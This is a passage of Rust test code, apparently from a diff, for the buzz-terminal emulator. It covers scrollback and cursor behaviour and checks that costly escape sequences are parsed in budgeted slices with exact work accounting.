/// side: content changing under a stale hash rather than a stale hash under
/// unchanged content.
#[test]
fn a_row_that_changes_while_scrolled_back_still_ships() {
let (shared, _actions, mut renderer) = scrolled_terminal(10);
assert!(shared.scroll(2));
let mut scroll_encoder = Encoder::new();
let _ = shared.snapshot(&mut scroll_encoder);
let _ = shared.render(&mut renderer);
// Rewrite the top line of the active area, which is screen row 2 while
// scrolled back two.
shared.feed_fully(b"\x1b[1;1HCHANGED\x1b[K");
let frame = shared.render(&mut renderer);
let changed = rows_by_line(&frame)
.into_iter()
.find(|(_, text)| text == "CHANGED");
assert_eq!(
changed,
Some((2, "CHANGED".to_string())),
"the rewritten active row must ship, at its scrolled screen position; got {:?}",
rows_by_line(&frame)
);
}
/// The cursor plane travels with the viewport, because the renderer paints it
/// at a screen row and the grid stores it at an active-area row.
#[test]
fn the_cursor_moves_down_the_screen_as_the_viewport_scrolls_back() {
let (shared, _actions, _) = scrolled_terminal(10);
let mut encoder = Encoder::new();
let live = shared.snapshot(&mut encoder);
assert_eq!(live.cursor.line, 3, "cursor sits on the last active row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut scrolled_encoder = Encoder::new();
let scrolled = shared.snapshot(&mut scrolled_encoder);
assert_eq!(
scrolled.cursor.line, 3,
"row 3 + 2 is off a four-row screen, so it clamps to the last row"
);
assert!(
!scrolled.cursor.visible,
"scrolled off the bottom, so it must not be painted on an unrelated line"
);
}
/// The clamp above is not the whole story: a cursor that is merely pushed
/// *down* -- still on screen -- must report its new row, not its old one. A
/// capture that ignored the offset entirely would pass the clamp test above
/// (row 3 is where the cursor already was) and fail this one.
///
/// Parking the cursor on the top row with `ESC[H` is what leaves it room to
/// move: at the live edge it is on row 0, and scrolling back two puts it on
/// row 2 of a four-row screen, still visible.
#[test]
fn a_cursor_still_on_screen_reports_its_scrolled_row() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[H");
let mut live_encoder = Encoder::new();
let live = shared.snapshot(&mut live_encoder);
assert_eq!(live.cursor.line, 0, "parked on the top row");
assert!(live.cursor.visible);
assert!(shared.scroll(2));
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(
frame.cursor.line, 2,
"the caret follows the row it is written on down the screen"
);
assert!(
frame.cursor.visible,
"still inside the viewport, so still painted"
);
}
#[test]
fn the_cursor_becomes_visible_again_on_the_way_back() {
let (shared, _actions, _) = scrolled_terminal(10);
assert!(shared.scroll(3));
assert!(shared.scroll_to_bottom());
let mut encoder = Encoder::new();
let frame = shared.snapshot(&mut encoder);
assert_eq!(frame.cursor.line, 3);
assert!(frame.cursor.visible);
}
/// The alternate screen has no scrollback by construction: `Term::new` builds
/// the inactive grid with a zero scroll limit. So scrolling inside `vim` or
/// `less` must be a clamped no-op, leaving the application's own scrolling to
/// the application. Asserted rather than assumed -- a viewport that drifted
/// here would show the primary screen's history behind a full-screen app.
#[test]
fn the_alternate_screen_has_no_scrollback_to_reach() {
let (shared, _actions, _) = scrolled_terminal(10);
shared.feed_fully(b"\x1b[?1049h");
shared.feed_fully(b"ALT");
assert!(!shared.scroll(1), "no history exists on the alt screen");
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
// And the primary screen's position is undisturbed on the way back.
shared.feed_fully(b"\x1b[?1049l");
assert!(shared.scroll(2));
assert_eq!(shared.lock().display_offset(), 2);
}
/// A terminal configured with no history cannot scroll at all. The guard is
/// upstream's clamp against `history_size()`, and this pins it: without it the
/// offset would advance and capture would index above the grid.
#[test]
fn a_terminal_without_scrollback_never_moves() {
let (shared, _actions) = terminal(20, 4, 0);
shared.feed_fully(b"a\r\nb\r\nc\r\nd\r\ne\r\nf");
assert!(!shared.scroll(1));
assert!(!shared.scroll(1_000));
assert_eq!(shared.lock().display_offset(), 0);
let mut encoder = Encoder::new();
assert_eq!(
screen(&shared.snapshot(&mut encoder)),
vec!["c", "d", "e", "f"]
);
}
@@ -0,0 +1,882 @@
//! The work-denominated slicing seam: what bounds one lock hold, what bounds
//! the queue behind it, and what proves the work was actually done.
//!
//! **This is half a suite.** The adversarial resize and overflow cases live
//! in `slicing_adversarial.rs`, split out for the file-size ratchet; the two
//! files are one set of contracts. A mutation check scoped with
//! `--test slicing` covers 20 of 76 package tests and can report a confident
//! pass while the killing fixture sits in the sibling file. Dropping the
//! scrollback debt does exactly that, then dies under the package.
//!
//! Mutation checks run the package, never a file: `cargo test -p buzz-terminal`.
//!
//! Every assertion here is an **exact** expected value, never a `> 0`. A fix
//! that bounds the lock by *dropping* work instead of deferring it reports a
//! beautiful latency and a perfect screen-content receipt -- DECALN fills the
//! grid with `E`, and the second DECALN overwrites the first, so grid content
//! saturates after one of ten thousand. `completed_units == expected` is the
//! only predicate that separates "deferred the work" from "skipped it", and
//! `> 0` is satisfied by a seam that executed exactly one unit.
use buzz_terminal::fences::{
max_atom_work, max_drain_work, slice_bytes_remaining, Fences, MAX_SLICE, SYNC_CAP, TAIL_CAP,
WORK_BUDGET,
};
use buzz_terminal::{Size, Terminal};
const COLUMNS: usize = 200;
const LINES: usize = 50;
const CELLS: u64 = (COLUMNS * LINES) as u64;
fn terminal() -> Terminal {
Terminal::new(
Size {
columns: COLUMNS,
screen_lines: LINES,
scrollback: 100,
},
Fences::ALL,
)
.0
}
/// A deliberately tiny grid, for the arms that must fill the 4 MiB tail.
///
/// Filling the cap is cheap; *draining* it is not, and on a 200x50 grid a
/// full tail of DECALN is ~1e10 work units of real parsing. The cap is a
/// property of the byte depth, not of the grid, so a small grid exercises the
/// same thresholds in seconds instead of minutes -- but it does change what
/// is being tested, so it is named rather than reused silently: these arms
/// test the *depth* predicates, and the arms above test the work bound.
fn tiny() -> Terminal {
Terminal::new(
Size {
columns: 10,
screen_lines: 2,
scrollback: 10,
},
Fences::ALL,
)
.0
}
/// Feed until the tail reaches its cap, or give up.
///
/// Bounded on purpose. A test that loops until a predicate goes true hangs
/// forever when the predicate is what broke, which turns a killed mutant into
/// a wedged CI job -- and a suite that hangs instead of failing is a suite
/// nobody can bisect.
fn fill_tail(term: &mut Terminal, payload: &[u8]) -> bool {
for _ in 0..10_000 {
if term.tail_full() {
return true;
}
term.feed(payload);
}
false
}
/// Pump to completion, counting acquisitions. A drain that needed no second
/// call returns 1.
fn pump(term: &mut Terminal, bytes: &[u8]) -> usize {
let mut calls = 1;
let mut more = term.feed(bytes);
while more {
more = term.drain();
calls += 1;
}
calls
}
/// One `feed` may not spend an unbounded amount of work, however much the
/// stream asks for.
///
/// Kills: deleting the `spent >= WORK_BUDGET` break, which restores the
/// unbounded hold this whole seam exists to prevent. Deliberately asserts on
/// *work* rather than wall time -- a time assertion is a flake on a loaded
/// machine, and the work bound is the thing the code actually promises.
#[test]
fn one_feed_spends_at_most_one_budget_plus_a_slice() {
let mut term = terminal();
let decalns = 10_000;
term.feed(&b"\x1b#8".repeat(decalns));
let spent = term.stats().completed_work;
// Two terms, both irreducible: the budget is checked between slices, and
// a slice is sized so it holds at most one budget of the densest payload;
// and the callback that crosses the line cannot be preempted.
let ceiling = max_drain_work(COLUMNS, LINES, 100);
assert!(
spent <= ceiling,
"one feed spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(
term.pending_bytes() > 0,
"10000 DECALNs is {} work and the budget is {WORK_BUDGET}; if nothing \
is pending the seam ran the whole payload in one hold",
decalns as u64 * CELLS,
);
}
/// Every deferred byte is eventually executed -- exactly once, and all of it.
///
/// Kills: bounding the hold by dropping the remainder instead of keeping it
/// (`self.pending.clear()` in place of the tail), which passes any latency
/// gate and any grid-content check. The unit count is the only witness.
#[test]
fn a_deferred_tail_executes_every_unit_exactly_once() {
let mut term = terminal();
let decalns = 10_000;
let calls = pump(&mut term, &b"\x1b#8".repeat(decalns));
assert!(
calls > 1,
"a payload this dense must have needed a second call"
);
assert_eq!(
term.stats().completed_units,
decalns as u64,
"every DECALN must execute exactly once: no drops, no double-parse",
);
assert_eq!(term.stats().completed_work, decalns as u64 * CELLS);
assert_eq!(term.pending_bytes(), 0, "nothing may be left behind");
}
/// The tail drains without another `feed` -- a reader with nothing new to
/// read must still be able to retire what it already accepted.
///
/// Kills: draining only from `feed`, which strands the tail whenever the
/// child goes quiet (`cat bigfile` then no more output: the last screenful
/// never appears).
#[test]
fn a_tail_drains_without_a_second_feed() {
let mut term = terminal();
let decalns = 2_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
// Never feed again. Only drain.
while term.drain() {}
assert_eq!(term.stats().completed_units, decalns as u64);
assert_eq!(term.pending_bytes(), 0);
}
/// A slice is cut only at a byte boundary the parser has already passed, so
/// an escape sequence split across two slices still executes once.
///
/// Kills: cutting mid-sequence and restarting the parser, or double-feeding
/// the straddling bytes. `\x1b#8` is 3 bytes and slices are a multiple of
/// neither, so at this length hundreds of sequences straddle a cut.
#[test]
fn a_sequence_split_across_slices_executes_exactly_once() {
let mut term = terminal();
let decalns = 3_000;
pump(&mut term, &b"\x1b#8".repeat(decalns));
assert_eq!(
term.stats().completed_units,
decalns as u64,
"a straddling sequence was dropped or executed twice",
);
// Same payload, delivered one byte per feed: every sequence straddles.
let mut byte_at_a_time = terminal();
for chunk in b"\x1b#8".repeat(decalns).chunks(1) {
byte_at_a_time.feed(chunk);
}
while byte_at_a_time.drain() {}
assert_eq!(byte_at_a_time.stats().completed_units, decalns as u64);
}
/// The tail is a bound on the queue, and the breach counter is loud.
///
/// Kills: a silent cap -- a tail that grows past `TAIL_CAP` without saying
/// so is indistinguishable from a reader that is obeying backpressure, which
/// is exactly the confusion that hides an unbounded queue.
#[test]
fn an_overrun_tail_is_capped_and_counted() {
let mut term = tiny();
assert!(!term.tail_full(), "a fresh terminal is not full");
assert!(term.tail_drained(), "a fresh terminal is drained");
assert_eq!(term.stats().tail_breaches, 0);
// A reader that ignores `tail_full` and keeps shovelling.
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"the tail never reached its cap: the queue is not bounded",
);
assert!(term.pending_bytes() >= TAIL_CAP);
assert!(
term.stats().tail_breaches > 0,
"reaching the cap must be counted, not absorbed silently",
);
assert!(!term.tail_drained(), "a full tail is not a drained tail");
}
/// Resume is hysteretic: `tail_drained` does not go true the instant the tail
/// falls one byte below the cap.
///
/// Kills: `tail_drained() == !tail_full()`, which makes a reader flap between
/// paused and reading once per slice at exactly the moment it is most loaded.
#[test]
fn resume_waits_for_a_low_water_mark_not_merely_a_non_full_tail() {
let mut term = tiny();
assert!(
fill_tail(&mut term, &b"\x1b#8".repeat(20_000)),
"expected a full tail"
);
// Drain until the reader is allowed to resume, watching for a window in
// which it is neither full nor drained -- that gap *is* the hysteresis.
let mut saw_gap = false;
for _ in 0..1_000_000 {
if term.tail_drained() {
break;
}
assert!(term.drain() || term.tail_drained());
if !term.tail_full() && !term.tail_drained() {
saw_gap = true;
}
}
assert!(
term.tail_drained(),
"the tail never drained to the resume mark"
);
assert!(
saw_gap,
"no depth was both non-full and non-drained: the two thresholds are \
the same value and the reader will flap",
);
}
/// Close must not be held behind parser work.
///
/// Kills: draining the tail on close instead of discarding it. Measured
/// elsewhere in this project: teardown that finishes parsing before killing
/// the child costs ~600 ms on macOS, and no byte of that work reaches a
/// renderer -- publication is detached before shutdown drains.
#[test]
fn close_may_abandon_the_tail_and_says_how_much_it_dropped() {
let mut term = terminal();
term.feed(&b"\x1b#8".repeat(10_000));
let stranded = term.pending_bytes();
assert!(stranded > 0);
let abandoned = term.abandon_tail();
assert_eq!(abandoned, stranded);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(
term.stats().abandoned_bytes,
stranded as u64,
"dropped bytes must be counted: this is lossy by design and silent \
loss is how it stops being by design",
);
assert!(
term.tail_drained(),
"an abandoned tail cannot strand a reader"
);
}
/// The grid the weights are priced against tracks resizes.
///
/// Kills: dropping `Feeder::resize`. A stale grid misprices every O(cells)
/// charge for as long as it is wrong -- and it is wrong in the *unsafe*
/// direction whenever the window grows, which is the common case.
#[test]
fn a_resize_reprices_the_same_escape() {
let mut small = terminal();
small.feed_fully(b"\x1b#8");
let before = small.stats().completed_work;
assert_eq!(before, CELLS);
small.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
small.reset_stats();
small.feed_fully(b"\x1b#8");
assert_eq!(
small.stats().completed_work,
CELLS * 2,
"the same escape on a grid twice as wide must cost twice as much",
);
assert_eq!(small.stats().completed_units, 1, "still one callback");
}
/// A resize *between* slices of one payload reprices the remainder.
///
/// Kills: caching the slice size or the grid across a drain. The tail
/// outlives the call that accepted it, so a resize can land in the middle of
/// it -- the untouched remainder must be charged at the new grid, not the one
/// that was current when the bytes arrived.
#[test]
fn a_resize_mid_tail_reprices_the_remainder() {
let mut term = terminal();
let decalns = 4_000;
assert!(term.feed(&b"\x1b#8".repeat(decalns)), "expected a tail");
let done_before = term.stats().completed_units;
let work_before = term.stats().completed_work;
assert_eq!(work_before, done_before * CELLS);
term.resize(Size {
columns: COLUMNS * 2,
screen_lines: LINES,
scrollback: 100,
});
while term.drain() {}
let after = term.stats();
assert_eq!(after.completed_units, decalns as u64, "no unit may be lost");
assert_eq!(
after.completed_work,
work_before + (decalns as u64 - done_before) * CELLS * 2,
"the remainder must be priced at the resized grid",
);
}
/// Slice size is derived from the worst atom the grid admits, because a fixed
/// byte count cannot bound a lock hold: `ESC c` is two bytes and resets both
/// grids plus scrollback.
///
/// Kills: replacing `slice_bytes_remaining` with a constant, or deriving it from
/// `cells` while the worst atom is larger than `cells`. Measured: 256 bytes
/// of DECALN is 1.6 ms at 200x50 and ~14 ms at 1600x50, so no one constant
/// serves both.
#[test]
fn slice_size_shrinks_as_the_worst_atom_grows() {
let small = slice_bytes_remaining(80, 24, 0, 0, 0);
let large = slice_bytes_remaining(1600, 50, 0, 0, 0);
assert!(
small > large,
"a bigger grid makes each byte more expensive, so slices must shrink: \
80x24 -> {small}, 1600x50 -> {large}",
);
assert!(
slice_bytes_remaining(200, 50, 10_000, 0, 0) <= slice_bytes_remaining(200, 50, 0, 0, 0),
"scrollback makes RIS more expensive, so it may only shrink slices",
);
for (columns, lines, scrollback) in [(80, 24, 0), (200, 50, 0), (400, 100, 0), (1600, 50, 0)] {
assert!((1..=MAX_SLICE).contains(&slice_bytes_remaining(columns, lines, scrollback, 0, 0)));
// One slice holds at most N/2 of the densest atom. Either that fits a
// budget, or the floor binds -- and then the overshoot is stated by
// `max_drain_work` rather than being an accident.
let width = slice_bytes_remaining(columns, lines, scrollback, 0, 0);
let worst = (width as u64 / 2) * max_atom_work(columns, lines, scrollback);
assert!(
worst <= WORK_BUDGET || width == 1,
"{columns}x{lines}: a slice buys {worst} work against a \
{WORK_BUDGET} budget without the MIN clamp to excuse it",
);
}
}
/// Work released by an F1 abort is counted.
///
/// Kills: leaving the `stop_sync` flush out of the accounting. F1 aborts a
/// runaway synchronized update by flushing its buffer through the handler --
/// those callbacks run, cost time, and hold the lock, so a scheduler that
/// does not see them is blind on exactly the path the fence created. The
/// escapes here are `ESC#8` so the flushed work is unmistakable against the
/// buffered bytes.
#[test]
fn work_flushed_by_a_sync_abort_is_counted() {
let (mut term, _a) = Terminal::new(
Size {
columns: 80,
screen_lines: 24,
scrollback: 0,
},
Fences::SYNC_ONLY,
);
let cells = 80 * 24;
// Open a synchronized update and never close it: F1 must abort it once
// the buffer passes SYNC_CAP, flushing everything buffered so far.
term.feed_fully(b"\x1b[?2026h");
let decalns = SYNC_CAP / 3 + 1000;
term.feed_fully(&b"\x1b#8".repeat(decalns));
let stats = term.stats();
assert!(stats.sync_aborts > 0, "the fence must have fired");
// Every DECALN fed must be accounted for. The comparison is against the
// *input*, not against the counters' own internal consistency: an
// uncounted flush leaves both counters small together, so checking them
// against each other would pass over the mutant.
// Two bookkeeping callbacks besides the DECALNs: the `ESC[?2026h` that
// opened the update, and the `unset_private_mode` that `stop_sync` emits
// per abort to report the mode off (`vte-0.15.0/src/ansi.rs:353`).
let bookkeeping = 1 + stats.sync_aborts;
assert_eq!(
stats.completed_units,
decalns as u64 + bookkeeping,
"every DECALN must be counted, including the ones released by the \
abort, plus {bookkeeping} mode callbacks",
);
assert_eq!(
stats.completed_work,
decalns as u64 * cells + bookkeeping,
"and their work: {decalns} DECALNs at {cells} cells each",
);
}
/// Cheap traffic is not taxed by slicing: an ordinary screenful retires in
/// one call.
///
/// Kills: a budget so small, or a slice so small, that normal output pays the
/// deferral machinery. This is the companion to the DECALN arm -- a seam that
/// bounds the hold by making everything slow has not fixed anything.
#[test]
fn ordinary_output_needs_no_second_call() {
let mut term = terminal();
let line = b"\x1b[1;32mbuzz\x1b[0m substrate line of output 0123456789\r\n";
let screenful = line.repeat(LINES);
assert!(
!term.feed(&screenful),
"a screenful of ordinary output must retire in one call, not defer",
);
assert_eq!(term.pending_bytes(), 0);
assert_eq!(term.stats().tail_breaches, 0);
}
/// The work bound holds on the **first drain of a fresh feeder**, for the
/// densest payload upstream offers.
///
/// Kills: sizing slices from observed density. A learned bound is not a bound
/// on the first slice -- a cold feeder has seen nothing, so it hands the
/// parser a wide slice, and a wide slice of `ESC c` spends many budgets
/// before anything checks. This is the arm that a warm-up-based scheduler
/// passes on the second call and fails on the first, so it asserts on a
/// terminal that has never parsed a byte.
#[test]
fn a_cold_feeder_bounds_its_very_first_slice() {
for (columns, lines) in [(80, 24), (200, 50), (400, 100), (1600, 50)] {
for (label, atom) in [("RIS", &b"\x1bc"[..]), ("DECALN", &b"\x1b#8"[..])] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 100,
},
Fences::ALL,
);
// Never fed before: `density`-style state, if any existed, is at
// its initial value.
term.feed(&atom.repeat(5_000));
let spent = term.stats().completed_work;
let ceiling = max_drain_work(columns, lines, 100);
assert!(
spent <= ceiling,
"{label} at {columns}x{lines}: first drain of a cold feeder \
spent {spent} work, over budget+overshoot ({ceiling})",
);
assert!(term.pending_bytes() > 0, "{label}: expected a tail");
}
}
}
/// Exact price of every escape whose cost the grid can amplify.
///
/// One table, exact `completed_work` per escape, at two widths so a weight
/// that dropped its `columns` factor cannot hide. Kills, one row each:
///
/// * `delete_chars`/`insert_blank` charged by `N` -- their cost *falls* as N
/// rises (the swap loop runs `columns - end` times), so N=1 is the worst
/// case and pricing by N is backwards.
/// * `erase_chars` charged raw `N` -- upstream clamps to the row, so
/// `ESC[65535X` on an 80-column grid touches 80 cells, not 65535.
/// * `scroll_up`/`delete_lines` losing their `columns` factor -- the rows are
/// reset, and a row reset is O(columns).
/// * `clear_line`, `decaln`, `clear_screen` mispriced by an axis.
///
/// Exact equality, never a bound: a `<=` assertion passes for every weight
/// smaller than the truth, which is the direction that hurts.
#[test]
fn every_amplifiable_escape_is_priced_exactly() {
for (columns, lines) in [(80usize, 24usize), (400, 50)] {
let cells = (columns * lines) as u64;
let c = columns as u64;
let cases: &[(&str, String, u64)] = &[
("decaln", "\u{1b}#8".into(), cells),
("clear_screen", "\u{1b}[2J".into(), cells),
("clear_line", "\u{1b}[2K".into(), c),
("erase_chars N=1", "\u{1b}[1X".into(), 1),
("erase_chars N=20", "\u{1b}[20X".into(), 20),
("erase_chars N=huge", "\u{1b}[65535X".into(), c),
("delete_chars N=1", "\u{1b}[1P".into(), c),
("delete_chars N=huge", "\u{1b}[65535P".into(), c),
("insert_blank N=1", "\u{1b}[1@".into(), c),
("scroll_up N=1", "\u{1b}[1S".into(), c),
("scroll_up N=5", "\u{1b}[5S".into(), 5 * c),
("scroll_up N=huge", "\u{1b}[65535S".into(), lines as u64 * c),
("scroll_down N=1", "\u{1b}[1T".into(), c),
("scroll_down N=4", "\u{1b}[4T".into(), 4 * c),
(
"scroll_down N=huge",
"\u{1b}[65535T".into(),
lines as u64 * c,
),
("delete_lines N=3", "\u{1b}[3M".into(), 3 * c),
(
"delete_lines N=huge",
"\u{1b}[65535M".into(),
lines as u64 * c,
),
("insert_lines N=1", "\u{1b}[1L".into(), c),
("insert_lines N=6", "\u{1b}[6L".into(), 6 * c),
(
"insert_lines N=huge",
"\u{1b}[65535L".into(),
lines as u64 * c,
),
("put_tab N=1", "\t".into(), c),
("fwd_tabs N=1", "\u{1b}[1I".into(), c),
("fwd_tabs N=huge", "\u{1b}[65535I".into(), c),
("insert_blank N=huge", "\u{1b}[65535@".into(), c),
("clear_line ESC[0K", "\u{1b}[0K".into(), c),
("clear_line ESC[1K", "\u{1b}[1K".into(), c),
("clear_screen ESC[0J", "\u{1b}[0J".into(), cells),
("clear_screen ESC[1J", "\u{1b}[1J".into(), cells),
("sgr", "\u{1b}[m".into(), 1),
("goto", "\u{1b}[1;1H".into(), 1),
];
for (label, seq, expected) in cases {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback: 0,
},
Fences::ALL,
);
// Home first so nothing scrolls, then measure only the escape.
term.feed_fully(b"\x1b[1;1H");
term.reset_stats();
term.feed_fully(seq.as_bytes());
assert_eq!(term.stats().completed_units, 1, "{label}: one callback");
assert_eq!(
term.stats().completed_work,
*expected,
"{label} at {columns}x{lines} priced wrong",
);
}
}
}
/// RIS is priced with its history axis, not just its cells.
///
/// Kills: charging `cells`, or dropping the history term.
///
/// On the alt-screen arm, honestly labelled: the active-`history_size()`
/// mispricing it was written against is **unrepresentable in this design**,
/// not merely untested. `Counting` holds `scrollback` as a scalar copied at
/// construction and has no path to a live grid, so there is no way to write
/// the mutant. The arm is kept as a regression witness -- if a `Term`
/// reference is ever wired into the wrapper it becomes load-bearing the same
/// day -- and both arms are evaluated before either can report, so the
/// primary cannot short-circuit the alt.
#[test]
fn ris_is_priced_for_both_grids_and_the_scrollback_it_walks() {
let (columns, lines) = (80usize, 24usize);
let cells = (columns * lines) as u64;
let mut observed = vec![];
for scrollback in [0usize, 100, 10_000] {
for (label, prefix) in [("primary", ""), ("alt screen", "\u{1b}[?1049h")] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
term.feed_fully(prefix.as_bytes());
term.reset_stats();
term.feed_fully(b"\x1bc");
observed.push((label, scrollback, term.stats().completed_work));
}
}
// One comparison over the whole vector, not a loop of comparisons.
// Collecting first stops an arm from being *skipped*; asserting the
// vectors is what stops a failure from being *truncated* to the first
// mismatch. Otherwise the alt-screen receipt still never prints, which
// was the point of collecting.
let expected: Vec<_> = observed
.iter()
.map(|&(label, scrollback, _)| {
(label, scrollback, 2 * cells + (scrollback * columns) as u64)
})
.collect();
assert_eq!(
observed, expected,
"RIS must be priced on configured depth, identically on both grids",
);
}
/// CBT is charged for exactly the cells it scans -- an equality, in both
/// directions.
///
/// Kills: delegating `move_backward_tabs` verbatim, and deleting the
/// fixed-point break. With tabstops cleared and the cursor at the right
/// margin, upstream never advances the cursor, so its `col == 0` exit is
/// unreachable and all N iterations rescan the row -- `ESC[3g ESC[65535Z` is
/// 8 bytes for 82 ms at 1600 columns.
///
/// Two traps this had to be written around, both of which I walked into
/// first:
///
/// * **The cursor is not the witness.** Deleting the break lands on the same
/// column; only the cost differs. A fixture checking where the cursor ended
/// up passes over the mutant.
/// * **An upper bound is not the witness either.** Deleting the break makes
/// the loop run without charging -- measured `work == 1` for 29 ms of real
/// scanning -- so `spent <= bound` *passes*. Under-charging is exactly the
/// direction that hurts, and only an equality sees it.
///
/// The expected value is the scan the source performs: with no stop below the
/// cursor, one pass over `cursor_column` cells, then a permanent fixed point.
/// Both arms come to `columns` -- the telescoping sum of a walk, or one
/// failed pass -- which is the bound this whole change buys.
#[test]
fn the_worst_atom_is_charged_for_exactly_what_it_scans() {
for columns in [80usize, 400, 1600] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Adversarial for cost: every tabstop gone, cursor at the right
// margin, count far past the width.
term.feed_fully(format!("\u{1b}[3g\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1, "one escape, one callback");
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"one failed scan over the whole prefix, then a permanent fixed \
point: the charge is the escape plus that one scan. A loop that \
kept going would charge this much per iteration, 65535 times",
);
// The real guard on the loop: with a stop reachable, the charge must
// equal the distance actually travelled. A break-less loop scans the
// row 65535 times and charges for one crossing.
let (mut walk, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
// Default tabstops every 8: from the right margin a huge count walks
// to column 0, crossing every column on the way.
walk.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
walk.reset_stats();
walk.feed_fully(b"\x1b[65535Z");
assert_eq!(walk.term().grid().cursor.point.column.0, 0);
assert_eq!(
walk.stats().completed_work,
1 + (columns as u64 - 1),
"the charge must be the distance travelled: one unit for the \
escape plus one per column crossed",
);
}
}
/// CBT at column 0 is free, and stays free.
///
/// Kills: removing the `before == 0` guard. Upstream has its own `col == 0`
/// break, so deleting the wrapper's copy is invisible to the cursor and
/// invisible to timing -- it only shows up as work charged for a scan over
/// zero cells that the wrapper attributed to itself. The left margin is also
/// the position both earlier sweeps of this op homed to, which is why it is
/// the position where a defect hides best.
#[test]
fn the_worst_atom_costs_nothing_at_the_left_margin() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(b"\x1b[3g\x1b[1;1H");
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(
term.stats().completed_work,
1,
"at column 0 there is nothing to the left to scan, so the escape \
costs one unit and no cells",
);
assert_eq!(term.term().grid().cursor.point.column.0, 0);
}
}
/// The other adversary: every tabstop *set*, which maximises the number of
/// delegated single steps rather than the length of one scan.
///
/// Kills: pricing CBT per-step-times-width. Cleared tabstops attack the
/// clamp; all-set attacks the break, forcing `columns - 1` steps of one
/// column each. The two layouts peak in different terms and neither may
/// exceed the bound, so both are here -- a suite that tested only the famous
/// one would miss the shape it chose against.
#[test]
fn the_worst_atom_is_bounded_under_the_layout_that_maximises_steps() {
for columns in [80usize, 400] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 50,
scrollback: 100,
},
Fences::ALL,
);
// A tabstop in every column, then start from the right margin.
term.feed_fully(b"\x1b[3g");
for c in 1..=columns {
term.feed_fully(format!("\u{1b}[1;{c}H\u{1b}H").as_bytes());
}
term.feed_fully(format!("\u{1b}[1;{columns}H").as_bytes());
term.reset_stats();
term.feed_fully(b"\x1b[65535Z");
assert_eq!(term.stats().completed_units, 1);
assert_eq!(
term.stats().completed_work,
1 + (columns as u64 - 1),
"with a stop in every column the walk crosses each of them once, \
so the charge is exact: one unit for the escape plus one per \
column crossed. An inequality here would not catch a 2x \
overcharge -- which lands on 159, not 160, because the escape's \
own unit is charged separately and is not doubled",
);
assert_eq!(
term.term().grid().cursor.point.column.0,
0,
"with a stop in every column the cursor must walk all the way",
);
}
}
/// Stopping CBT early does not change where the cursor lands.
///
/// The companion to the two cost tests above: they assert the work fell,
/// this asserts the behaviour did not move. Kills: stopping at something that
/// is *not* a fixed point -- `min(N, 1)`, or breaking whenever a scan fails
/// even though an earlier step still had stops to find. Cases are the ones
/// the exhaustive probe found interesting: no stops, one stop mid-row, and
/// default stops, each from the right margin with a count past the width.
#[test]
fn stopping_the_worst_atom_early_preserves_its_semantics() {
let columns = 40usize;
let cursor_column = |setup: &str| -> usize {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: 3,
scrollback: 0,
},
Fences::ALL,
);
term.feed_fully(setup.as_bytes());
term.term().grid().cursor.point.column.0
};
// No stops: the cursor cannot move, whatever the count.
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[65535Z"), 39);
assert_eq!(cursor_column("\u{1b}[3g\u{1b}[1;40H\u{1b}[40Z"), 39);
// One stop at column 20 (1-based 21): reachable once, then stuck.
let one_stop = "\u{1b}[3g\u{1b}[1;21H\u{1b}H\u{1b}[1;40H";
assert_eq!(
cursor_column(&format!("{one_stop}\u{1b}[65535Z")),
cursor_column(&format!("{one_stop}\u{1b}[40Z")),
);
// Default stops every 8: a large count walks all the way to column 0.
assert_eq!(cursor_column("\u{1b}[1;40H\u{1b}[65535Z"), 0);
}
/// A stream of atoms each worth more than the whole budget still drains, and
/// every drain makes progress.
///
/// The liveness half of the bound. `max_drain_work` says how much one drain
/// may cost; it says nothing about whether the loop terminates, and an
/// oversized atom is exactly where a work-denominated scheduler could refuse
/// to start one -- spending its budget checking, never advancing, and hanging
/// the terminal with a full tail. RIS on a 10k-scrollback grid is ~16x the
/// budget, so this is not hypothetical.
///
/// Kills: any yield that can decline to start work -- a `width` that reaches
/// 0, a `remaining`-scaled slice that underflows to nothing, a guard that
/// skips a slice deemed too expensive for what is left of the budget. Each of
/// those is a plausible thing to reach for when an atom costs more than the
/// whole budget, and each hangs a terminal on legitimate input.
///
/// Note on a mutant it does *not* kill: moving the budget check from after
/// the slice to before it is **equivalent**, not a defect -- `spent` is zero
/// at entry, so the first slice runs either way. Recorded because I wrote
/// this test believing it caught that, ran the mutant, and it lived.
#[test]
fn atoms_larger_than_the_budget_still_make_progress() {
for (columns, lines, scrollback) in [(80usize, 24usize, 10_000usize), (200, 50, 10_000)] {
let (mut term, _a) = Terminal::new(
Size {
columns,
screen_lines: lines,
scrollback,
},
Fences::ALL,
);
let atoms = 200usize;
let bound = max_drain_work(columns, lines, scrollback);
assert!(
bound > WORK_BUDGET * 4,
"this arm is only meaningful where one atom dwarfs the budget",
);
let mut more = term.feed(&b"\x1bc".repeat(atoms));
// `feed` already drained once; seed the baseline with its work or the
